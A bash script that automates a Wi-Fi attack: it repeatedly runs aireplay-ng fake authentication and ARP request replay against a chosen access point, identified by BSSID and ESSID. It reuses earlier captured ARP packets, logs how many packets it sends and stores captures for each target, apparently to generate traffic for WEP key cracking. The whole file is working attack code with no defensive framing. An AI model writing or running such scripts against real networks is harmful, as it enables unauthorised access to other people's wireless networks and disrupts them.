#! /usr/bin/env bash

interface=$1
bssid=$2
essid=$3

if [[ ( -z "$interface" ) || ( -z "$bssid" ) || ( -z "$essid" ) ]]
then
	echo Usage: $(basename $0) interface bssid essid
	exit
fi

echo $$ >> "$(echo $0 | sed s/\.sh$//).pid"

cd "$(dirname "$0")"
cd ..

echo $(date +"%Y-%m-%d %H:%M:%S") Replay BSSID $bssid ESSID \"$essid\"

identifier=$(echo $bssid | tr '[A-Z]' '[a-z]' | tr --delete ':')-$(echo $essid | tr '[A-Z]' '[a-z]' | tr --complement --delete '[a-z0-9]')

cd capture
mkdir -p $identifier
cd $identifier

sleep 1

while true
do
	echo $(date +"%Y-%m-%d %H:%M:%S") Authenticating
	echo
	aireplay-ng -1 0 -a $bssid -e "$essid" --ignore-negative-one $interface

	if [ 0 = $? ]
	then
		if ls -1 replay_arp-*.cap &> /dev/null
		then
			if [ -f replay.cap ]
			then
				rm replay.cap
			fi

			ls replay_arp-*.cap | while read file
			do
				if [ 24 -lt $(stat -c "%s" $file) ]
				then
					cat $file > replay.cap
				fi
			done
		fi

		if [ -f replay.cap ]
		then
			echo $(date +"%Y-%m-%d %H:%M:%S") Replaying previous record
			echo
			aireplay-ng -3 -b $bssid -e "$essid" -r replay.cap --ignore-negative-one $interface | tee replay.log >( grep -m 1 deauth )
		else
			echo $(date +"%Y-%m-%d %H:%M:%S") Replaying
			echo
			aireplay-ng -3 -b $bssid -e "$essid" --ignore-negative-one $interface | tee replay.log >( grep -m 1 deauth )
		fi

		result=$(tail --lines 1 replay.log)

		echo $(date +"%Y-%m-%d %H:%M:%S") Sent $(tail --lines 1 replay.log | rev | cut -d ' ' -f 3 | rev) packets
		echo
	else
		sleep 10
		echo
	fi
done

